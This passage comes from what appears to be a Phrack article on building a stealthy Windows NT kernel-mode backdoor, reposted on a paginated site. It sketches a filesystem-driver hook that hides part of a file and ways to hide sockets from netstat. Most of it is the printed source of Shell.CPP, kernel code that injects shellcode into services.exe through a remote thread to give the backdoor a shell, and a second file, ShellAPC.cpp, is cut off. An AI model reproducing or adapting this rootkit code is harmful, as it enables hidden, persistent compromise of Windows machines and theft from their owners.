complished through temporary buffers that are allocated before ZwReadFile and freed in Session::OnSendComplete.
Paths of data streams and temporary buffers handling algorithm:
NamedPipe -(new send_buf; ZwReadFile)-> temporary buffer
send_buf -(send)-> Network -> OnSendComplete{delete send_buf}
Network -(OnReceive)-> pWBytePipe -(new rcv_buf)-> temporary
buffer rcv_buf -(ZwWriteFile)-> NamedPipe -> ApcCallbackWriteComplete{delete rcv_buf}
In Session::OnReceive handler data is written to the FIFO and the DataPumpThread is notified about it's arrival. If the transport has more data available than indicated another buffer is allocated to read the rest. When the transport is done - asynchronously - OnReceiveComplete() handler is called, which does the same as OnReceive.
----[ 4.3 - Stealth on disk
I've implemented simple demo module (file Intercept.cpp) which hooks dispatch functions of a given filesystem diver to hide the first N bytes of a given file. To hook FSD call e.g. Intercept(L"\\FileSystem\\Fastfat"). There is only 2 FSDs that may be necessary to hook: Fastfat ant Ntfs, because NT can boot from these filesystems.
Intercept() replaces some driver dispatch functions (pDriverObject->MajorFunction[...], pDriverObject->FastIoDispatch->...).
When hooked driver handles IRPs and FastIo calls the corresponding hook functions modifies file size and current file offset. Thus all user-mode programs see file N bytes smaller than original, containing bytes N to last. It allows to implement trick described in part 3.
--[ 5 - Conclusion
In this article I compared 3 existing Kernel-Mode backdoors for Windows NT from a programmers point of view, presented some ideas on making a backdoor stealthier as well as my thorny path of writing my own Kernel- Mode backdoor.
What we did not describe was a method of hiding open sockets and TCP connections from utilities such as netstat and fport. Netstat uses SnmpUtilOidCpy(), and fport talks directly with drivers (\Device\Udp and \Device\Tcp). To hide something from these and all similar tools, it's necessary to hook aforementioned drivers with one of methods mentioned in section "Stealth on disk, in registry and in memory". I did not explore that issue yet. Probably, its consideration deserves a separate article. Advice for those who decided to move this direction: begin with the study of IpLog sources [5].
--[ 6 - Epilogue
When/if this article will be published in Phrack, the article itself (probably improved and supplemented), its Russian original, and full code of all used examples will be published at our site http://www.nteam.ru
--[ 7 - List of used sources
1. http://rootkit.com 2. "LKM-attack on WinNT/Win2k" http://he4dev.e1.bmstu.ru/He4ProjectRepositary/HookSysCall/ 3. "Windows Root Kits a Stealthy Threat" http://www.securityfocus.com/news/2879 4. Garry Nebbet. Windows NT/2000 native API reference. 5. "IP logger for WinNT/Win2k" http://195.19.33.68/He4ProjectRepositary/IpLog/
--[ 8 - Files
----[ 8.1 - Shell.CPP
#include "ntdll.h" #include "DynLoadFromNtdll.h" #include "NtdllDynamicLoader.h"
#if (DBG) #define dbgbkpt __asm int 3 #else #define dbgbkpt #endif
const StackReserve=0x00100000; const StackCommit= 0x00001000; extern BOOLEAN Terminating;
extern "C" char shellcode[]; extern "C" const CLID_addr; extern "C" int const sizeof_shellcode;
namespace NT { typedef struct _SYSTEM_PROCESSES_NT4 { // Information Class 5 ULONG NextEntryDelta; ULONG ThreadCount; ULONG Reserved1[6]; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ProcessName; KPRIORITY BasePriority; ULONG ProcessId; ULONG InheritedFromProcessId; ULONG HandleCount; ULONG Reserved2[2]; VM_COUNTERS VmCounters; SYSTEM_THREADS Threads[1]; } SYSTEM_PROCESSES_NT4, *PSYSTEM_PROCESSES_NT4; }
BOOL FindProcess(PCWSTR process, OUT NT::PCLIENT_ID ClientId) { NT::UNICODE_STRING ProcessName; NT::RtlInitUnicodeString(&ProcessName,process); ULONG n=0xFFFF; PULONG q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q)); while (NT::ZwQuerySystemInformation( NT::SystemProcessesAndThreadsInformation, q, n * sizeof *q, 0)) { NT::ExFreePool(q); n*=2; q = (PULONG)NT::ExAllocatePool (NT::NonPagedPool,n*sizeof(*q)); }
ULONG MajorVersion; NT::PsGetVersion(&MajorVersion, NULL, NULL, NULL);
NT::PSYSTEM_PROCESSES p = NT::PSYSTEM_PROCESSES(q); BOOL found=0; char** pp=(char**)&p; do { if ((p->ProcessName.Buffer)&&(!NT::RtlCompareUnicodeString (&p->ProcessName,&ProcessName,TRUE))) { if (MajorVersion<=4) *ClientId = ((NT::PSYSTEM_PROCESSES_NT4)p)->Threads[0].ClientId; else *ClientId = p->Threads[0].ClientId; found=1; break; } if (!(p->NextEntryDelta)) break; *pp+=p->NextEntryDelta; } while(1);
NT::ExFreePool(q); return found; }
VOID StartShell() { //Search ntdll.dll in memory PVOID pNTDLL=FindNT(); //Dynamicaly link to functions not exported by ntoskrnl, //but exported by ntdll.dll DYNAMIC_LOAD(ZwWriteVirtualMemory) DYNAMIC_LOAD(ZwProtectVirtualMemory) DYNAMIC_LOAD(ZwResumeThread) DYNAMIC_LOAD(ZwCreateThread) HANDLE hProcess=0,hThread; //Debug breakpoint dbgbkpt; NT::CLIENT_ID clid; //Code must be embedded into thread, which not in nonalertable wait state. //Such thread is in process services.exe, let's find it if(!FindProcess(L"services.exe"/*L"calc.exe"*/,&clid)) {dbgbkpt; return;}; NT::OBJECT_ATTRIBUTES attr={sizeof(NT::OBJECT_ATTRIBUTES), 0,NULL, OBJ_CASE_INSENSITIVE}; //Open process - get it's descriptor NT::ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &attr, &clid); if (!hProcess) {dbgbkpt; return;}; /*NT::PROCESS_BASIC_INFORMATION pi; NT::ZwQueryInformationProcess(hProcess, NT::ProcessBasicInformation, &pi, sizeof(pi), NULL);*/ ULONG n = sizeof_shellcode; PVOID p = 0; PVOID EntryPoint;
//Create code segment - allocate memory into process context NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!p) {dbgbkpt; return;};
//*((PDWORD)(&shellcode[TID_addr]))=(DWORD)clid.UniqueThread; //Write process and thread ID into shellcode, it will be needed for //further operations with that thread *((NT::PCLIENT_ID)(&shellcode[CLID_addr]))=(NT::CLIENT_ID)clid; //Write shellcode to allocated memory ZwWriteVirtualMemory(hProcess, p, shellcode, sizeof_shellcode, 0); //Entry point is at the beginning of shellcode EntryPoint = p;
//Create stack segment NT::USER_STACK stack = {0}; n = StackReserve; NT::ZwAllocateVirtualMemory(hProcess, &stack.ExpandableStackBottom, 0, &n, MEM_RESERVE, PAGE_READWRITE); if (!stack.ExpandableStackBottom) {dbgbkpt; return;}; stack.ExpandableStackBase = PCHAR(stack.ExpandableStackBottom) + StackReserve; stack.ExpandableStackLimit = PCHAR(stack.ExpandableStackBase) - StackCommit; n = StackCommit + PAGE_SIZE; p = PCHAR(stack.ExpandableStackBase) - n; //Create guard page NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n, MEM_COMMIT, PAGE_READWRITE); ULONG x; n = PAGE_SIZE; ZwProtectVirtualMemory(hProcess, &p, &n, PAGE_READWRITE | PAGE_GUARD, &x); //Initialize new thread context //similar to it's initialization by system NT::CONTEXT context = {CONTEXT_FULL}; context.SegGs = 0; context.SegFs = 0x38; context.SegEs = 0x20; context.SegDs = 0x20; context.SegSs = 0x20; context.SegCs = 0x18; context.EFlags = 0x3000; context.Esp = ULONG(stack.ExpandableStackBase) - 4; context.Eip = ULONG(EntryPoint); NT::CLIENT_ID cid;
//Create and start thread ZwCreateThread(&hThread, THREAD_ALL_ACCESS, &attr, hProcess, &cid, &context, &stack, TRUE);
//Here i tried to make thread alertable. The try failed. /*HANDLE hTargetThread; NT::ZwOpenThread(&hTargetThread, THREAD_ALL_ACCESS, &attr, &clid); PVOID ThreadObj; NT::ObReferenceObjectByHandle(hTargetThread, THREAD_ALL_ACCESS, NULL, NT::KernelMode, &ThreadObj, NULL); *((unsigned char *)ThreadObj+0x4a)=1;*/
ZwResumeThread(hThread, 0); }
VOID ShellStarter(VOID* StartShellEvent) { do if (NT::KeWaitForSingleObject(StartShellEvent,NT::Executive,NT::KernelMode,FALSE,NULL)==STATUS_SUCCESS) if (Terminating) NT::PsTerminateSystemThread(0); else StartShell(); while (1); }
----[ 8.2 - ShellAPC.cpp
#include <stdio.h> #include "ntdll.h" #include "DynLoadFromNtdll.h" #include "NtdllDynamicLoader.h" #include "NebbetCreateProcess.h"
//Debug macro #if (DBG) #define dbgbkpt __asm int 3 #else #define dbgbkpt #endif
//Flag guarantees that thread certainly will execute APC regardless of //it's state #define SPECIAL_KERNEL_MODE_APC 2
namespace NT { extern "C"
上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] ... 下一页 >> |